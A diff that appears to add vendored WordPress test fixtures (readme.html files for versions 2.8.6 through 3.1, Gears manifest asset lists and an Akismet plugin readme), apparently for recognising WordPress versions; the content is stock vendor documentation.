<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1>XML-RPC and Atom Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
76
spec/fixtures/wp_versions/2.8.6/wp-admin/gears-manifest.php
vendored
Normal file
76
spec/fixtures/wp_versions/2.8.6/wp-admin/gears-manifest.php
vendored
Normal file
@@ -0,0 +1,76 @@
|
||||
{
|
||||
"betaManifestVersion" : 1,
|
||||
"version" : "ae52efa2f066ffc235840dc615f051d7",
|
||||
"entries" : [
|
||||
{ "url" : "images/align-center.png" },
|
||||
{ "url" : "images/align-left.png" },
|
||||
{ "url" : "images/align-none.png" },
|
||||
{ "url" : "images/align-right.png" },
|
||||
{ "url" : "images/archive-link.png" },
|
||||
{ "url" : "images/blue-grad.png" },
|
||||
{ "url" : "images/browse-happy.gif" },
|
||||
{ "url" : "images/bubble_bg.gif" },
|
||||
{ "url" : "images/bubble_bg-rtl.gif" },
|
||||
{ "url" : "images/button-grad.png" },
|
||||
{ "url" : "images/button-grad-active.png" },
|
||||
{ "url" : "images/comment-grey-bubble.png" },
|
||||
{ "url" : "images/date-button.gif" },
|
||||
{ "url" : "images/ed-bg.gif" },
|
||||
{ "url" : "images/fade-butt.png" },
|
||||
{ "url" : "images/fav.png" },
|
||||
{ "url" : "images/fav-arrow.gif" },
|
||||
{ "url" : "images/fav-arrow-rtl.gif" },
|
||||
{ "url" : "images/fav-top.png" },
|
||||
{ "url" : "images/generic.png" },
|
||||
{ "url" : "images/gray-grad.png" },
|
||||
{ "url" : "images/icons32.png" },
|
||||
{ "url" : "images/icons32-vs.png" },
|
||||
{ "url" : "images/list.png" },
|
||||
{ "url" : "images/list-vs.png" },
|
||||
{ "url" : "images/wpspin_light.gif" },
|
||||
{ "url" : "images/wpspin_dark.gif" },
|
||||
{ "url" : "images/logo.gif" },
|
||||
{ "url" : "images/logo-ghost.png" },
|
||||
{ "url" : "images/logo-login.gif" },
|
||||
{ "url" : "images/media-button-image.gif" },
|
||||
{ "url" : "images/media-button-music.gif" },
|
||||
{ "url" : "images/media-button-other.gif" },
|
||||
{ "url" : "images/media-button-video.gif" },
|
||||
{ "url" : "images/menu.png" },
|
||||
{ "url" : "images/menu-vs.png" },
|
||||
{ "url" : "images/menu-arrows.gif" },
|
||||
{ "url" : "images/menu-bits.gif" },
|
||||
{ "url" : "images/menu-bits-rtl.gif" },
|
||||
{ "url" : "images/menu-dark.gif" },
|
||||
{ "url" : "images/menu-dark-rtl.gif" },
|
||||
{ "url" : "images/no.png" },
|
||||
{ "url" : "images/required.gif" },
|
||||
{ "url" : "images/resize.gif" },
|
||||
{ "url" : "images/screen-options-left.gif" },
|
||||
{ "url" : "images/screen-options-right.gif" },
|
||||
{ "url" : "images/screen-options-right-up.gif" },
|
||||
{ "url" : "images/se.png" },
|
||||
{ "url" : "images/star.gif" },
|
||||
{ "url" : "images/toggle-arrow.gif" },
|
||||
{ "url" : "images/toggle-arrow-rtl.gif" },
|
||||
{ "url" : "images/white-grad.png" },
|
||||
{ "url" : "images/white-grad-active.png" },
|
||||
{ "url" : "images/wordpress-logo.png" },
|
||||
{ "url" : "images/wp-logo.gif" },
|
||||
{ "url" : "images/xit.gif" },
|
||||
{ "url" : "images/yes.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/archive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/audio.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/code.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/default.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/document.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/interactive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/text.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/video.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
|
||||
{ "url" : "../wp-includes/images/rss.png" },
|
||||
{ "url" : "../wp-includes/images/blank.gif" },
|
||||
{ "url" : "../wp-includes/images/upload.png" },
|
||||
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
|
||||
{ "url" : "../wp-includes/js/thickbox/tb-close.png" }
|
||||
]}
|
||||
48
spec/fixtures/wp_versions/2.8.6/wp-content/plugins/akismet/readme.txt
vendored
Executable file
48
spec/fixtures/wp_versions/2.8.6/wp-content/plugins/akismet/readme.txt
vendored
Executable file
@@ -0,0 +1,48 @@
|
||||
=== Akismet ===
|
||||
Contributors: matt, ryan, andy, mdawaffe, tellyworth, automattic
|
||||
Tags: akismet, comments, spam
|
||||
Requires at least: 2.0
|
||||
Tested up to: 2.8.5
|
||||
|
||||
Akismet checks your comments against the Akismet web service to see if they look like spam or not.
|
||||
|
||||
== Description ==
|
||||
|
||||
Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you
|
||||
review the spam it catches under your blog's "Comments" admin screen.
|
||||
|
||||
Want to show off how much spam Akismet has caught for you? Just put `<?php akismet_counter(); ?>` in your template.
|
||||
|
||||
See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/).
|
||||
|
||||
PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it.
|
||||
|
||||
== Installation ==
|
||||
|
||||
Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/).
|
||||
|
||||
1, 2, 3: You're done!
|
||||
|
||||
== Changelog ==
|
||||
|
||||
= 2.2.7 =
|
||||
|
||||
* Add a new AKISMET_VERSION constant
|
||||
* Reduce the possibility of over-counting spam when another spam filter plugin is in use
|
||||
* Disable the connectivity check when the API key is hard-coded for WPMU
|
||||
|
||||
= 2.2.6 =
|
||||
|
||||
* Fix a global warning introduced in 2.2.5
|
||||
* Add changelog and additional readme.txt tags
|
||||
* Fix an array conversion warning in some versions of PHP
|
||||
* Support a new WPCOM_API_KEY constant for easier use with WordPress MU
|
||||
|
||||
= 2.2.5 =
|
||||
|
||||
* Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls
|
||||
|
||||
= 2.2.4 =
|
||||
|
||||
* Fixed a key problem affecting the stats feature in WordPress MU
|
||||
* Provide additional blog information in Akismet API calls
|
||||
109
spec/fixtures/wp_versions/3.0/readme.html
vendored
Executable file
109
spec/fixtures/wp_versions/3.0/readme.html
vendored
Executable file
@@ -0,0 +1,109 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo">
|
||||
<a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" width="250" height="68" /></a>
|
||||
<br /> Version 3.0
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory and upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
|
||||
<ol>
|
||||
<li>If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
|
||||
</ol>
|
||||
</li>
|
||||
<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
|
||||
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<h2>Using the Automatic Upgrader</h2>
|
||||
<p>If you are upgrading from version 2.7 or higher, you can use the automatic upgrader:</p>
|
||||
<ol>
|
||||
<li>Open the <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
|
||||
<h2>Upgrading Manually</h2>
|
||||
<ol>
|
||||
<li>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
|
||||
<li>Delete your old WordPress files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
</ol>
|
||||
|
||||
<h2>Theme Template Changes</h2>
|
||||
<p>If you have customized your theme templates, you may have to make some changes across major versions.</p>
|
||||
|
||||
<h1>Migrating from other systems</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
|
||||
|
||||
<h1>System Requirements</h1>
|
||||
<ul>
|
||||
<li><a href="http://php.net/">PHP</a> version <strong>4.3</strong> or higher.</li>
|
||||
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>4.1.2</strong> or higher.</li>
|
||||
</ul>
|
||||
|
||||
<h2>System Recommendations</h2>
|
||||
<ul>
|
||||
<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
|
||||
<li>A link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex</a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/development/">The WordPress Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet</a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
|
||||
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1><abbr title="eXtensible Markup Language">XML</abbr>-<abbr title="Remote Procedure Call">RPC</abbr> and Atom Interface</h1>
|
||||
<p>You can post to your WordPress blog with tools like <a href="http://download.live.com/writer">Windows Live Writer</a>, <a href="http://illuminex.com/ecto/">Ecto</a>, <a href="http://bloggar.com/">w.bloggar</a>, <a href="http://radio.userland.com/">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the blogging <abbr title="application programming interface">API</abbr>s! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support"><abbr>XML</abbr>-<abbr>RPC</abbr> support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret <abbr title="Post Office Protocol version 3">POP3</abbr> account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with <a href="http://en.wikipedia.org/wiki/Cron">cron</a>-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> <abbr title="Uniform Resource Locator">URL</abbr>.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We introduced a very flexible roles system in version 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities" title="WordPress roles and capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1>Final Notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="http://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr>v2 (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
|
||||
</body>
|
||||
</html>
|
||||
73
spec/fixtures/wp_versions/3.0/wp-admin/gears-manifest.php
vendored
Normal file
73
spec/fixtures/wp_versions/3.0/wp-admin/gears-manifest.php
vendored
Normal file
@@ -0,0 +1,73 @@
|
||||
{
|
||||
"betaManifestVersion" : 1,
|
||||
"version" : "02f0f783bde10a914130292f1b57d409",
|
||||
"entries" : [
|
||||
{ "url" : "images/align-center.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/align-left.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/align-none.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/align-right.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/archive-link.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/blue-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/button-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/button-grad-active.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/date-button.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/ed-bg.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/fade-butt.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/fav.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/generic.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/gray-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/icons32.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/icons32-vs.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/list.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/list-vs.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/logo.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/logo-ghost.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/logo-login.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-image.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-music.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-other.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/media-button-video.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-vs.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-bits.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-dark.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/no.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/required.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/resize.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/se.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/star.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/white-grad.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/white-grad-active.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/wp-logo.png", "ignoreQuery" : true }
|
||||
{ "url" : "images/xit.gif", "ignoreQuery" : true }
|
||||
{ "url" : "images/yes.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true }
|
||||
{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true }
|
||||
]}
|
||||
1346
spec/fixtures/wp_versions/3.0/wp-content/themes/twentyten/style.css
vendored
Executable file
1346
spec/fixtures/wp_versions/3.0/wp-content/themes/twentyten/style.css
vendored
Executable file
File diff suppressed because it is too large
Load Diff
109
spec/fixtures/wp_versions/3.1/readme.html
vendored
Executable file
109
spec/fixtures/wp_versions/3.1/readme.html
vendored
Executable file
@@ -0,0 +1,109 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo">
|
||||
<a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" width="250" height="68" /></a>
|
||||
<br /> Version 3.1
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory and upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
|
||||
<ol>
|
||||
<li>If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
|
||||
</ol>
|
||||
</li>
|
||||
<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
|
||||
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Updating</h1>
|
||||
<h2>Using the Automatic Updater</h2>
|
||||
<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
|
||||
<ol>
|
||||
<li>Open the <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
|
||||
<h2>Updating Manually</h2>
|
||||
<ol>
|
||||
<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
|
||||
<li>Delete your old WordPress files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
</ol>
|
||||
|
||||
<h2>Theme Template Changes</h2>
|
||||
<p>If you have customized your theme templates, you may have to make some changes across major versions.</p>
|
||||
|
||||
<h1>Migrating from other systems</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
|
||||
|
||||
<h1>System Requirements</h1>
|
||||
<ul>
|
||||
<li><a href="http://php.net/">PHP</a> version <strong>4.3</strong> or higher.</li>
|
||||
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>4.1.2</strong> or higher.</li>
|
||||
</ul>
|
||||
|
||||
<h2>System Recommendations</h2>
|
||||
<ul>
|
||||
<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
|
||||
<li>A link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex</a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/news/">The WordPress Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet</a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
|
||||
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1><abbr title="eXtensible Markup Language">XML</abbr>-<abbr title="Remote Procedure Call">RPC</abbr> and Atom Interface</h1>
|
||||
<p>You can post to your WordPress blog with tools like <a href="http://download.live.com/writer">Windows Live Writer</a>, <a href="http://illuminex.com/ecto/">Ecto</a>, <a href="http://bloggar.com/">w.bloggar</a>, <a href="http://radio.userland.com/">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the blogging <abbr title="application programming interface">API</abbr>s! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support"><abbr>XML</abbr>-<abbr>RPC</abbr> support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret <abbr title="Post Office Protocol version 3">POP3</abbr> account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with <a href="http://en.wikipedia.org/wiki/Cron">cron</a>-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> <abbr title="Uniform Resource Locator">URL</abbr>.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We introduced a very flexible roles system in version 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities" title="WordPress roles and capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
